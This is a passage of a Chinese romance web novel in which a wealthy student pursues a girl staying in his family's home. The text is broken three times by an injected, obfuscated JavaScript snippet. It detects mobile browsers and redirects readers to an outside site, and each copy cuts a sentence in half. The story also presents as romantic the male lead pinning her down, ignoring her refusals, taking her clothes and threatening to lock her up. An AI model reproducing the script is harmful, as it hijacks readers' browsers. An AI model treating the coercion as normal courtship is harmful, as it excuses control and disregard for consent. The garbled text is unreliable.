门一关,他燥热的身体压下来,她惊慌失措,一门心思挣扎,他攥住她手腕,膝盖抵在她双腿之间,她浑身都麻了,瞬间面红耳赤:“你干嘛!” “进来了还想走,哪有那么容易。” 他低头打量她慌张的表情,被她瞪了一眼,她怀疑自己掉进了狼窝,这人怎么突然翻脸了,她惊得措手不及,“有话好好说,你别这么坏!” “我坏?”他掐着她下巴逼她仰起头,在她急促的呼吸声里,他哑着嗓子饶有兴味地问,“不是觉得我喂猫救狗很有爱心,觉得我三番两次帮了你,对我心存感激吗?怎么,现在因为一个姓卓的,你就开始怀疑我,说我坏?” 7. 回吻 她深夜冒昧,她被兴师问罪,她理亏。 “好好好,你先别生气,我跟你道歉,是我大半夜打扰你,是我听信卓耀明胡说八道,是我不分青红皂白质问你,我错怪你了,对不起。” 她声音在抖,而他异常平静,低头审视她,语气轻飘飘:“道什么歉啊,又没说你错怪我。” 她怔住,脑海掀起风暴,从宇宙爆炸到人类进化再到火箭升空,只花了一秒。 十厘米内,是一双摄人心魂的眼。被他这么深邃直白地盯着,她顿生无力感。 冷静下来:“好,那你先跟我说清楚,那天晚上——唔!” 他捂住她嘴巴。 门缝传来邢美莱的声音:“邢屹,干嘛呢你,还没睡?” 他气定神闲:“打游戏。” “哦,那你打吧,早点睡。我改签了,明早再走,正好给你们做早餐吃......”絮叨声消失在门外。 他手掌压在她柔软的唇上,她呼出的热气洒在他掌心,从温热,慢慢化为湿润。 孟纾语憋红了脸,不停呜咽抗议,在他不为所动的注视下,她用力锤打他肩膀,可是他浑身都硬,她锤了几下仿佛给他挠痒痒。 她郁闷得掐他的腰,他呼吸陡然一沉,立刻束缚她双手压在头顶,“手往哪儿碰?” 碰你怎么了! 抗议声被他掌心闷住,含糊不清,他勾唇笑了下。 “说什么呢。” 说你有病! 她被狠狠压在门上,身前是他坚硬滚烫的躯体。 十九岁,正是一个男性从青涩跨越到成熟的年纪,雄性荷尔蒙如超新星爆炸,攻陷她薄弱的意志。 邢屹一手就能握住她两只手腕,指腹有常年练习散打留下的薄茧,碾压她跳动的脉搏。 他静静看着她,眼里似乎有亟待喷薄的热焰,她气闷地瞪回去,他目光愈发轻佻顽劣。 以卵击石无效,孟纾语转换策略,翻箱倒柜地想起所有伤心事,硬生生挤出一滴眼泪,滑到他手上。 他很快松开手,她终于汲得一口氧气,累得闭眼喘息。 邢屹喉结一滚,声音更哑:“又没怎么你,哭什么。” 他揩走她眼角的泪水。 她害怕他,“你别动我,我要回去。” 邢屹垂眸看她片刻,冷森森的视线好像在说“不准”,她立刻装哭,他这才咽了下喉咙,放过了她。 门开,她鱼一样逃回去反锁卧室。 慌忙拿起手机,看到老孟的消息。 [乖乖,爸跟你说,你上了大学可不要急着谈恋爱,会吃亏的,那些小伙子都是坏心眼] [不像小屹,他一看就没有坏心眼,爸很放心你跟他待在一起,平时还能一起学习,多好] “......” 无力回天。 她来这里,只想好好学习,再期待一场雪。 可现在,清净没了。 果然,世界就是一个巨大的扫雷游戏,炸得她措手不及。 她初步认定,隔壁住了个表里不一的疯子。 赶紧拨出电话。 毛婧婧被她扰了清梦:“亲爱的,大半夜了,什么问题还需要人工服务啊?” 她斩钉截铁说:“邢屹有病。” “什么病?感冒发烧还是不治之症?” “......应该是某种心理疾病。” “那我爱莫能助,我们美术生的心理状态也很差,十个里面八个有病,自顾不暇。” 孟纾语深深吸了口气,把今晚发生的事情完整复述。 毛婧婧顿时醒神:“那你快跟孟叔告状!” “没用,这是对牛弹琴,你知道当一个中年人被诈骗是件多么可怕的事吗?他只会觉得我对邢屹有偏见。” “那你赶紧搬出去!” 她正有打算:“这件事情我也在想,但是......喂?” 手机没电了。 她急忙找出充电器,整个人趴跪在地毯上,长发缕缕垂落,塌着腰,上半身凹出柔软月弧,伸手碰向墙边的插座。 后知后觉,一道高大的影子罩了下来。 ——“想搬走?” 她吓得囫囵转身,后背紧靠着墙。 邢屹插兜站立,一双澄黑眼眸睨着她,她浑身一僵,他漫不经心半蹲下来,帮她插好充电器。 她紧紧揪住地毯的短绒,嗫嚅:“你怎么进来的。” 他很欠扁:“这是我家,我有钥匙。” “......” 距离拉近,发现他有一颗浅浅的眼尾痣,笑起来很好看,也暗藏侵略性。 他手臂懒懒搭在膝盖上,看着她:“跟你商量个事儿。” “......你说。” “你要是想走,我就把你关在这儿。” 这叫商量? 她摆出防御姿态:“我懂了,你一定在耍我对吧?保姆告诉我了,其实你不喜欢被人打扰,自然也不喜欢我住在家里,所以把我赶走之前顺便折磨我。你放心,等我跟莱姨商量完,很快就会搬走的,不会给你添麻烦。” 他脸色一沉:“谁说让你搬?” “那你到底要干嘛!” “喜欢你啊。”他拖腔拖调的,顽劣又轻描淡写,“想跟你接吻,做.爱。” “......” 嗓子突然好干,心火烧到了喉咙。 他伸过来一只手,她惊慌躲闪,他慢悠悠捻起她一缕头发,扫扫她鼻尖:“怎么不说话?” 她吞咽一下,一本正经地告诫:“邢屹,你听我说,我没什么值得你喜欢的,我特别挑食,难伺候,睡觉还踢被子,偶尔还乱说梦话,我爸不给我生活费的时候我就是个穷光蛋,不能给你买限量款跑车,甚至连模型都买不起,我哪里都不好,你千万不要喜欢我。” “没了?”邢屹捏捏她的脸,像捡了个宝,“这还不简单,做你喜欢吃的菜,抱着你睡,听你说梦话,给你钱花。” ……鬼话连篇。 她抱住膝盖缩成一团,心想这是什么新型套路,他是不是想靠这张脸蒙骗她,然后狠狠渣她一次? 孟纾语抬眸,对上他欲擒故纵的视线,她伸出一根手指抵住他胸膛,推他:“做人要讲道理,你先离我远一点。” 他蔫坏,一下攥住她手腕:“巧了,我最不喜欢讲道理。” 她再也坐不住,起身要逃,他二话不说抱住她,两人相拥着跌在地毯上,她被狠狠压住,双腿被迫攀上他劲瘦的腰,他像嵌在她身上,一个让人面红耳赤的姿势。 “跑什么,要我绑着你才老实?” 热气烘在她耳畔,她浑身都软了,怀疑他喝醉了酒,可是他身上一点酒味都没有,依旧是那股很好闻的淡香,黑茸茸的脑袋蹭在她肩头,顽劣又黏人,在用力汲取她颈侧的香气。 他身量太高,肩膀又宽,她实在难以招架,双手拼命推开他,鼻尖若即若离抵住他锁骨,生怕下一秒就会吻到他身体,只好使出缓兵之计:“好好好,我不跑,你先起来。” 邢屹嗤笑一声:“你真当我会信?” 她气结:“那你就这么抱我抱一晚上吗!” “一晚上?你还真敢想。” “......”她绝望地望着天花板。 他掐住她腰侧:“说,还想不想搬走?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15200966|165702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她深思熟虑:“要搬。” 他缓缓撑起上半身,冷飕飕捏住她的下巴,晃了晃:“再说一遍?” 一根修长的手指快要探进她口腔,她立马改口:“不搬了!你起来!” 邢屹起身的同时把她抱起来,她晕乎乎挂在他身上,被他放到床边。 她一个翻身卷进被子里,蒙住头,瓮声瓮气:“你出去!” 邢屹撑在她身上,低声笑:“你知道你上次说梦话是什么时候吗?” 她慢吞吞从被子里探头,眼睛眨了眨:“......什么时候?” “飞机上。” “?!” 她真的要昏过去了。 - 次日一早,她醒来快速环顾自周。 幸好,邢屹不在她房间里。 昨晚真是一言难尽,她已经不能安慰自己那是梦了,她甚至觉得最坏的结果是她穿到了平行时空,撞见了另一个邢屹。 她苦恼地坐了会儿,下床查看手机,给毛婧婧回句“我还活着”,又切回去查看老孟的消息。 试着发一句:[爸,其实邢屹很坏] 老孟秒回:[爸知道,这种男孩子很容易遭人嫉妒的,家里太有钱了,自身又优秀,但是小语,你不能因此诋毁人家,要向人家学习] 她无语地轻叹,点进有未读通知的邮箱。 居然是散打社的面试通知。 她顿时欣慰,感谢上帝,这个世界对她并非蛮横。 下楼吃早饭,她的餐盘放在邢屹旁边,她麻木地挨着他坐下。 邢美莱洞察:“小语怎么啦?好像有黑眼圈了。” 她佯装镇定:“没什么,我熬夜看书了。” 邢美莱说熬夜不好,下次早点睡。 她点点头,随即兴师问罪一般瞥了一眼邢屹,他划着手机喝粥,半冷不热掠来一眼,轻挑眉梢:“怎么不吃,挑食?” “......” 孟纾语埋头喝粥,全程若无其事,中途想把椅子往前拉一些,手移往下,邢屹突然牵住她。 她心脏狂跳,邢美莱就在餐桌对面看平板,眼神随时会落到他们身上。 她越是挣脱,邢屹就牵得越紧,桌底下,他百无聊赖捏她的掌心,玩她的手指。 几处薄茧擦过她指间,她紧张沁出的细汗微微沾湿他指腹,彼此的手勾缠着,摩挲着,湿润又滚烫。 突然,他松开了手。 孟纾语如释重负,邢屹向后靠着椅背,优哉游哉点了点手机屏幕。 她的手机随即一亮,消息弹出。 [多吃点,再瘦就能给你系根绳了,放风筝。] - 她失神大半天。 下午回到学校,终于到了散打社面试的时间,许莓兴致勃勃陪她前去。 到达体育馆,进社团活动室一瞧,她居然是唯一一个女生。 桌前聚了一堆男生在签字,他们以为她不是来面试的,酸溜溜地问:“谁女朋友来了?” “......” 前面签完字的几人作鸟兽散,她顺势上前,没在桌上看见笔。 “你好,请问笔在——” 一抬眸,她定住了。 签到桌对面,邢屹靠着椅背闭目养神,闻声缓缓睁开眼,抬手把黑色卫衣的兜帽拉下来,懒懒扫她一眼。 面对她无措的表情,他淡淡地笑,眼尾痣似乎在暗自嚣张。 不远处有男生小声闲聊:“听说这学期是邢屹带我们训练。” “卧槽?那也太刺激了,随时准备骨折。” 孟纾语闭了闭眼。 毁灭吧。 8. 回吻 三十六计走为上计。 她转身走向出口,假装从没来过。 有人迎面靠近,是寸头男,他笑着打量她:“哟,承认自不量力了?怂了?打道回府了?” 她霎时止步。 被挑事了,被看扁了。 十八岁,正是尊严比天大的年纪,她咬咬牙,击破退堂鼓,回一个心如止水的眼神:“去卫生间你也要管吗?” “嗐,那我可管不着。”寸头男挥手招引她,“来,先签个到呗。” 孟纾语麻木地走回桌前。 拿起笔,弯着腰签名,一桌之隔,邢屹懒洋洋倾身向前,一手撑着额头,浑不正经的坐姿,像教室里恃才傲物又离经叛道的尖子生,狭长漆黑的眼眸直勾勾盯着她,好像能从她脸上盯出什么花来。 她抿抿唇,只觉自己穿进了动物世界频道,吃个草还要被头狼虎视眈眈。 寸头男从桌上抓了袋薯片,打开说:“忘了介绍,我是社长周洪违。” “哦。违法乱纪的违吗?” 周洪违觉得自己被怼了,但他没有证据。 孟纾语签完名去往卫生间,邢屹重新靠回椅背,好整以暇玩一局消消乐。 一个社员上前核对签到表,瞥一眼她出门的背影,怪罪道:“社长,你干嘛针对人家呀,真没品。” 周洪违哼笑:“看她漂亮呗,又纯又乖的,逗起来贼有意思。” 说完拿起桌上的马克杯喝水,猛然惊叫,“我操!谁给老子倒的开水?!” 邢屹搭着二郎腿,懒闲闲划着猫头狗头,手机里一连几声“unbelievable”。 孟纾语回来时,那帮男生已经抽完签排好面试顺序了,她顺理成章排在最后一个。 散打社活动室占据体育馆一整层,部分墙体打通,视野开阔,有点像大型练舞室。 最里侧就是日常训练区,跟外侧隔了块玻璃,附一层垂落地面的黑帘,如果拉严实了就什么都看不见。 邢屹玩完几局消消乐,在众人亮晶晶的注视下走进训练室。 帘子半敞,看见他在里面换衣服,实打实的宽肩窄腰,脱衣时露出几秒挺阔紧实的背肌,一转眼套了件宽松的黑色背心,灰色的抽绳运动裤原封不动,他站在装备墙前取下一对黑色拳套,慢条斯理地戴上,手臂线条结实流畅,靠近手腕的青筋格外明显。 面试内容定的是最基础的进攻和避闪,每人十分钟,撑得了一半的时间就算通过。 大家都有所耳闻,邢屹代表京大参加过正式比赛,奖杯拿到手软,体育部老师曾问他要不要正式带队,他拒绝了,说只是个爱好,解闷用的。 有时搞不懂男生的脑回路,他们都以为自己是遇强则强的弹簧,也忘了前副社长是怎么骨折下岗的,此刻都盼着跟邢屹来一场热血切磋,美名其曰男人间的对决,十分中二病。 或许因为他们本就掌握基础,而且在这种涉及打斗的事情上,男的总是莫名兴奋,个个摩拳擦掌跃跃欲试。 周洪违瘫在椅上啃薯片,好心劝说:“别太自信了,邢屹不会给你们放水的,中途不行了就赶紧去医务室,别死要面子活受罪。” 不多时,男生们按次序戴好护具上场,孟纾语独自坐在靠墙的长椅上,低头打开手机备忘录,趁着闲暇写一写关于萨特的阅读小记,明天西哲课上要用。 三分钟后。 “呃啊!!!” 一阵撕心裂肺的嚎叫。 所有人屏息凝视,孟纾语也愣了下,转头看向训练区,邢屹已经把第一个男生打趴了。 他笔挺地站着,低眉调整拳套的封带,随后睨了那人一眼,下巴朝门外轻轻一抬,那人即刻会意,按住肋骨位置艰难起身,开口喊:“下、下一个......” 活动室门口早已聚了一堆女生,个个望眼欲穿。 “妈呀,不看不知道,居然这么猛......” 还未上场的男生纷纷转头,瞧一眼孟纾语的细胳膊细腿,不禁面露担忧。 她无动于衷,继续写阅读小记。 许莓在门外观望已久,钻进来跟她贴贴:“好淡定啊你,是不是真有两下子?” “......嗯,你就当我深藏不露吧。” 孟纾语生无可恋地说完,活动了一下手指,掌心已经出汗了。 半小时不到,邢屹一连揍了十几个男生,一半人勉强通过,下周开始正式训练,另一半人身残志坚,被归入初学者行列,先跑步两周练练体能。 室内空调打得不够低,邢屹掀起衣角擦汗,不经意露了一半腹肌,几滴晶莹热汗顺着肌肉纹路滑落,没入紧绷的裤腰,腰带中间两根白色细绳松散垂落。 孟纾语收回视线,喉咙有点干。 最后一个男生被他一番进攻,折磨得快要吐血,赶紧举手投降,脱下护具准备开溜。 “等会儿。”邢屹叫住他。 男生颤颤回头。 邢屹轻抬下巴:“帘子拉上。” “......好。” 帘子拉得严严实实,训练区俨然成了一个隐蔽空间。 孟纾语做好心理准备,走向训练区,进门跟男生擦肩,瞥见他痛苦扭曲的表情。 她顿时举步维艰。 邢屹脱下拳套拧开一瓶冰水,仰头灌了几口,喉结伴着吞咽声滚动,他喝完,拧着瓶盖回身看她:“站那儿当门神?” 她只好硬着头皮上场。 通用的护具尺寸不合,她穿起来松松垮垮的,还不如不用,她索性取下来,只拿起一对拳套,边解开封带边背对着他说:“你随意下手吧,我自负盈亏,不会跟莱姨告黑状的。” 身后脚步声不疾不徐,她茫然回头,邢屹突然抱过来,滚烫强烈的包裹感,她手一僵,拳套掉落在地,世界静止。 她瞪大双眼,视线越过他肩膀看着远处密闭的黑帘,心跳逐渐加快。 他运动完的身体烫得像火炉,黑茸茸的脑袋埋在她肩头,蹭了蹭,装得可怜兮兮:“好累啊,抱会儿。” 她瞬间醒神,使劲推他:“走开,你身上有汗。” 他越抱越紧:“那你给我擦擦。” “?”她气闷,“无赖吗你!” 其实她并不嫌弃他的汗,因为没什么怪味,反而加重了那股淡香,但是太热了,他身子骨又重,压在她身上完全推不开,气都喘不过来,“邢屹你以权谋私!” 他低笑,“好罪恶啊,快去举报我。” “......”败了。 邢屹往前走了几步将她逼到柜子前,抱她坐上去,分开她双腿缠在他腰两侧,一手按住她紧张不安的膝盖,警告她别动。 她今天扎了马尾,他伸手取下发圈,自然而然戴在自己腕上,偏头汲取她颈侧的香气,散落的乌黑发丝贴在他鼻尖。 孟纾语招架不住,偏头躲开,他饶有兴味地笑了下:“怎么紧张成这样,我能吃了你?” ......她余光看了眼他青筋凸起的手臂,心说你吃不了我,但你能一拳打晕我。 ——“屹,我找出小码护具了,拿给孟纾语用吧。” 她闻声猝然推开他,他居然碰瓷一般倒在了地上。 “?” 周洪违拿着护具进门,表情也是一愣。 “怎、怎么了这是?” 孟纾语快速从柜子上跳下,攥着衣角百口莫辩,“我、我们是在......” “没看见?”邢屹摊手摊腿仰躺在地上,懒声懒气地控诉,“她把我打晕了啊。” “......”胡说八道! 最后,孟纾语稀里糊涂通过了面试。 但她总觉得胜之不武,主动提出要跟初学者们一起跑步,把耐力提上去再说。 扫码加了散打社的群,她正准备离开,门外忽然有人进来,问一声:“结束了吗?” 周洪违整理好护具回头,很是惊喜,“卢一鑫?你胳膊好啦?” “嗯。” 卢一鑫高高瘦瘦,戴一顶灰色鸭舌帽,耳朵上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15200967|165702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三枚银质的耳骨钉,看上去寡言少语,进来放下斜挎包,就默不作声站在桌前看手机。 孟纾语突然想起,这不是baiser的DJ小哥吗。 她淡淡收回视线,牵起许莓的手准备走人,后者忽然定住不动了,眼里仿佛春暖花开,万物复苏。 ......看来是对卢一鑫一见钟情了。 许莓依依不舍地离开,在走廊听见周洪违邀请的声音:“一会儿下去打球,你能来不?” 卢一鑫应了声“嗯”。 许莓眼睛一亮,立刻深情款款地看向孟纾语。 “......”盛情难却,“好吧,陪你去看。” “呜呜呜小语最好了!” ... 夏末傍晚,晚霞炽热灼目。 露天篮球场比往日热闹了三倍,场外聚了一堆人,像嘈杂的人墙,把视野挡了个全,只能听见场内运球的砰砰声和敏捷杂乱的脚步声,明明是黄昏,却有种朝气蓬勃的错觉。 挤到前面才发现,之所以热闹,是因为场上有个邢屹。 他一身灰白色的篮球服,运球技巧娴熟而利落,投个三分球跟喝水一样简单。 运动久了出汗,这会儿当着众人视线,他倒是懒得掀起衣服擦汗了,只用手背擦,旁人只能眼馋地盯着他小臂的青筋。 队友传球过来,他小跑着捕捉球的运行轨迹,旁人刚眨一下眼睛他就夺回了掌控权,又一球投进篮筐,场外欢呼声接踵而至。 奇怪,这人怎么总有发泄不完的精力,运动大半天了,不会累吗。 “小语,来这里!” 许莓找到一条没人的长凳,孟纾语陪她坐下,继续拿手机写阅读小记。 许莓看卢一鑫看入了迷,兴奋地晃晃她胳膊:“卢一鑫好像日漫里的冰山傲娇男啊,小语你快看,是不是超有那种感觉?” 孟纾语抬头寻找,却冷不丁跟邢屹对上视线。 他恰好投完一个球,闲闲倒退着走,一眼就看到她,金灿灿的光线落在他身上,勾勒他迎风微乱的短发,身后入框的篮球砰一声落地,他忽然清爽地笑了下。 格外耀眼,像子弹直击心头,场外起哄声四起。 “卧槽,他在看谁?对谁笑?” “他好像心情很好诶,难道是看到喜欢的人了?” “他有喜欢的人?!” “......” 孟纾语快速收回视线。 可不想被他那群暗恋者组团盯上。 低头,手机弹出消息。 莱姨:[乖乖,今晚我让王姨给你做蟹粉汤包吃,衣帽间还有几套新衣服,记得试哦~] 她心下一叹。 对她这么好,她怎么好意思提出要搬走。 没过多久,球赛结束,围观的同学缓慢散开。 她们也离开长凳,许莓意犹未尽地回头望,孟纾语划着手机走在前面,突然有人闪到跟前:“嗨!” 她被迫止步。 “你好,我叫彭霖,大二能动系。”彭霖笑出一口白牙,拿起手机晃了晃,“可以加你微信吗?” 如果说自己没有微信,那也太假了,她手里就是微信界面。 彭霖先发制人:“要不我打开名片,你扫我?” “......好吧。” 彭霖兴致勃勃点开屏幕,突遇网卡,半晌毛都没加载出来,他急得抓耳挠腮。 孟纾语静静站着等,身后忽然有熟悉的香味靠近。 她顿时警惕,拜托,这里一大堆人,你可千万别在这时候凑过来跟我说什么荤话啊! 邢屹悄无声息停在她身后,手指突然勾起她一边衣领,她吓得屏息。 四周人头攒动,他趁人不注意,勾完又松开了手。 原来是帮她遮住了不小心露出来的内衣带。 短短三秒,她经历了一百种情绪翻滚。 心跳堪堪平稳时,一句恶劣沉哑的气音擦过耳畔—— “今晚来我房间。” 9. 回吻 一股电流激过全身。 “OK了!你扫我吧。” 彭霖递来二维码,孟纾语心不在焉加上微信,迅速撤离现场。 她今晚是不打算回颐云公馆了。 还是寝室安全。 她坐在自己桌前缓了缓神,起身打开衣柜,准备拿上衣服去洗澡。 柜门一开,她傻眼。 如果衣服也算违禁品,她宁可相信这是查寝小队干的。 路露对着镜子试唇釉,回头看她一眼:“怎么啦?” “......我的柜子空了。” “诶,你不知道吗?你家保姆阿姨下午过来把衣服拿走了呀,说要给你拿去洗护。” “......” 她感觉全身的细胞都枯萎了。 不止日常衣物,就连内衣内裤也不见了。 下一秒,手机弹出消息。 [十分钟,南门] [别让我等太久,除非你想让所有东西消失] 果然是邢屹干的。 她攥紧手机,看了眼幸存的桌子和床,思考两秒,用力关上衣柜。 路露看她又要出去了,笑问:“你要去约会?” 她一头雾水:“为什么这么问?” 路露经验十足的样:“看你脸很红诶,是有什么开心事吗?” “......没有,气红的。” ... 京大南门是最常用的师生进出通道,这个点又是晚间休闲时间,男男女女谈笑往来,孟纾语穿梭其间出了校门。 不远处,一辆银灰色GT停在路边。 这么扎眼的迈凯伦,上下车很难掩人耳目,她怀疑他是故意的,但又意识到他的车就没辆低调的。 她借着夜色掩护,看准时机,在一辆小货车缓慢经过时快速上车。 车门一关,危险蔓延。 她别过脸假装看窗外,邢屹倾身靠近副驾,一手捏住她下巴,把她的脸转过去。 她抗拒地抿抿唇,两人对视,他笑了下,手指抚过她脸颊。 “怎么红了?” 她挪开眼,没好气地说:“被你车里的空气污染了。” “这样啊。”他缓缓靠近,懒散得欠扁,“凑过来我看看,还有没有得救。” 她硬是不从,他忽然扣住她后颈往前一带,呼吸相撞,她差点亲到他。 一双漆黑眼眸有些嚣张地注视她,眼底笑意浮起:“好吓人啊,你想强吻我?” “颠倒黑白!” 她脸更红了,他逗得来劲,另一手挠挠她下巴,她忍了半晌,烦闷地拍开,盯他,“混蛋、表里不一、衣冠禽兽!” 邢屹照单全收,心满意足松开了手:“早搭理我不就完了?” “......就你干的那些好事,谁想搭理你。” 他低声笑:“不是说了么,让你今晚来我房间,我向你道歉。” 骗子,道什么歉,没人比他更会胡编乱造。 她才不想自投狼窝。 - 回到颐云公馆,两人一言不发地吃完晚饭,孟纾语快速上楼回到卧室,洗完澡直接窝进被子里。 装病。 房间没开灯,她背对着门口侧躺,等到凌晨,房门果然被打开,一道熟悉的影子不疾不徐落过来。 她下意识攥紧被角。 邢屹径直走到她面前,一手撑在床头弯腰看她,她回一个病恹恹的眼神。 他借着月光摸她额头,她欲盖弥彰地避开,拉起被子蒙住脑袋,小声嗡嗡:“感冒了,很困......” 邢屹伸手探进被子捏她的脸:“感冒就起来吃药。” “吃过了。”她慢吞吞蜷成虾米,邢屹揉着她一边耳垂,低声问,“现在是冷还是热?” “冷。” “那我抱着你?”他作势要上床抱她,她赶紧翻个身坐起来,避他如猛兽,颤颤说,“没事了,我现在又觉得好多了。” 邢屹眯起眼:“灵丹妙药是吧,我一来你就好了?那我陪你睡一晚,明早药到病除。” 完了,搬起石头砸自己的脚,孟纾语两眼一黑。 “不行,你快走。” 他不置可否,突然攥住她胳膊把她拖到身前。 她挣扎两下无济于事,他坐到床边,趁乱分开她双腿,让她乖乖坐在他身上,恶狠狠捏起她下巴秋后算账:“让你来我房间怎么没来?” 温热结实的手臂紧锢着她的腰,她动弹不得,大腿根被迫磨着他坚硬胯骨,她脸颊一下子烧起来,双手抵住他胸膛辩解:“我......我不是感冒了吗,没力气。” 他冷森森盯住她,兴味盎然:“是么,我看你现在挺有精神。” 邢屹的手松开她下巴,绕到她后背,摩挲到蝴蝶骨的位置,离内衣暗扣只差毫厘,她浑身一颤,意识到自己穷途末路,必须尽早摆脱。 于是趁他不备,她突然挣脱开,光着脚朝门口跑去。 离逃之夭夭就差临门一脚,邢屹居然两三步就捉住她,直接把她扛到肩上。 她吓得叫出声,掐紧他后背:“放我下来!” 他二话不说扛着她下楼,她胡乱锤他,决定给莱姨打电话告状。 邢屹一下就猜透她的打算,闲闲泼冷水:“莱姨在肯尼亚,没信号。” “......” “你也别妄想搬出去,只要你敢搬,我就把你关起来。” 她顿时手软,被他磨得一点办法都没有,心里没底地问:“那你现在带我去哪?” 他张口就来:“你发烧了,带你去医院。” 她一愣:“我没发烧!” “不是说病了?身上这么烫,烧得不轻。”他故意给她设圈套,让她演不下去。 她只好投降:“我真的没病,你放我下来。” 又争了几个回合,两人相拥着跌进客厅沙发。 邢屹迎面压着她,身子骨硬得像铁,葡萄柚淡香席卷而来,侵略她每一根脆弱的神经末梢,她心跳如擂鼓,推他不动,心里又很怕他,只好假装谈判:“你再这样我真的要搬走了。” 他单手撑起一点高度,支着额头垂眸看她,另手捻她一缕头发搔她鼻尖:“哦,收拾行李回高老庄?” “?”她气恼,“你才猪八戒!” “逗你的。”他捏捏她的脸,“这么漂亮,至少是只玉兔精吧。” “......我就不能是人吗。” “昂。”他欠揍地顺水推舟,“是我喜欢的人。” 又一记突如其来的直白,她心头一震。 咬咬唇说:“邢屹,不管你是不是耍我,我那天已经说了,我们不是一个世界的人,而且我们才认识多久你就喜欢我?这种喜欢是不靠谱的。” 话音刚落,大门突然被打开。 她屏息凝神,邢屹不慌不忙关了落地灯。 “咦?明明放这儿的呀......”原来是保姆王姨回来拿东西,她打着手机电筒转了一圈,声音在远处,“诶!找到了。” 没过多久,大门重新被关上,别墅又只剩他们两个。 视野适应了漆黑,四周一片昏昧,两人对视着,呼吸隐隐纠缠,她身心紧张,听见自己细微的吞咽声。 邢屹轻抚她眉眼,手指缓缓陷入她柔软的长发,低头埋进她颈窝,逐渐躁动。 他气息实在滚烫,火一样烧燎着她,她攥紧他后背的衣料,不禁抬起腿乱动,下一秒却被他用膝盖抵开双腿,她万分羞耻。 “你别闹了......” “谁让你放我鸽子?”他有仇必报,轻轻咬住她耳垂,她肩膀一抖,软声求饶,“好好,是我放你鸽子,我跟你道歉......” 他兜里的手机突然开始震动,她立刻推他:“有人找你。” 他本来不想管,但她一直催他看,想借机让他起来。 他偏不起来,就保持这个姿势拿出手机划动,她勉强有了喘息余地,刚才是真的紧张到想哭。 邢屹撑在她身上,面无表情看了会儿手机,她忽然怀疑这人是不是在养鱼。 既然本性恶劣又重欲,说不定之前已经聊了上百个美女,否则大半夜的,微信怎么这么热闹。 邢屹瞥她一眼,她立刻挪开视线,他有所觉察,好笑地递手机给她看,捏她脸:“想什么呢,全是男的。” 屏幕怼在她面前,想不看都不行。 聊天界面确实没有女生,除了置顶是她。 他自证似的一划到底,又退回去点开一个四人群聊,给她介绍:“这三个都是我发小。” 里面的男生各说各的,都在骚扰他: [芜湖!冲浪!阳光!(海滩噘嘴自拍)亲亲我们屹哥哥,半年不见甚是想念(比心比心)] [屹哥哥睡了吗?起来嗨啊!(牛仔酒吧,视频28秒)] [@Xx,屹,看我这车改装得不错吧,我敢说,帅爆全美洲] “......” 原来是富家少爷的挥霍日常。 她不想看了,把手机转回去照亮他的脸,有点好奇:“你这些发小都在国外放纵,怎么就你一个没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15200968|165702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出国?” 他把手机扔到一边,沉倦倦地赖回她身上,说懒得出,没意思。 “......”难道欺负她就很有意思吗?她又开始慌了,真是怕了他,“好了,你快起来。” 邢屹又赖了会儿才起身,顺手把她抱起来,开口就吓人:“带你去个有笼子的地方。” 她心脏狂跳,一门心思想逃,邢屹一擒就准,把她按在沙发上给她套袜穿鞋,几分钟后扛她进车库,塞她进副驾。 不多时,果然把她带到了医院。 兽医院。 她拖延一会儿才下车,一身白色睡裙,披着他的深色外套。 邢屹已经从医院里走出来,路灯照亮他肩宽腿长的身材,格外惹眼。 他手里拎了个小狗笼,在她面前把笼子放下来,蹲下去伸手逗狗。 “出来,黑大帅。” “......”这名字。 小黑球活蹦乱跳钻出了笼子,摇着尾巴嗅嗅他掌心,嗷嗷撒娇,又仰头看了看孟纾语,圆溜溜的小狗眼格外纯良。 孟纾语猜到这是他之前救的流浪狗,于是蹲下来,手指点点它脑袋,好软乎。 邢屹双手托着小狗咯吱窝,把它抱起来,当面质问它:“喜欢爸爸还是喜欢妈妈?” 她四下看看,哪来的妈妈。 随即一顿。 有病啊他...... 她扭头就上了车,邢屹望着她气闷的背影,无声笑了下,晃了晃半空中迷茫的小狗。 “明天你的领养人就来了,有家了,别再给我凶,再凶扯你狗毛。” 毛发软厚的黑大帅受此威胁,惊恐又埋怨地呜了一声。 邢屹回到车里,她注意到他腕上的黑色发圈,顿时来气:“还我!” 他冷脸:“想得美。” - 近日,京大灌水群又开始活跃。 邢屹像个常居热搜的顶流,一点小事也要被建个词条。 [速看!大二邢某改了微信名(截图,名片昵称:xy)] [啥呀,这不就是他名字缩写吗,你个假粉] [我觉得没那么简单,已经有人看见他手上戴发圈了] [嗐,挡桃花的招数呗,又不是真有女朋友] ... 群里七嘴八舌。 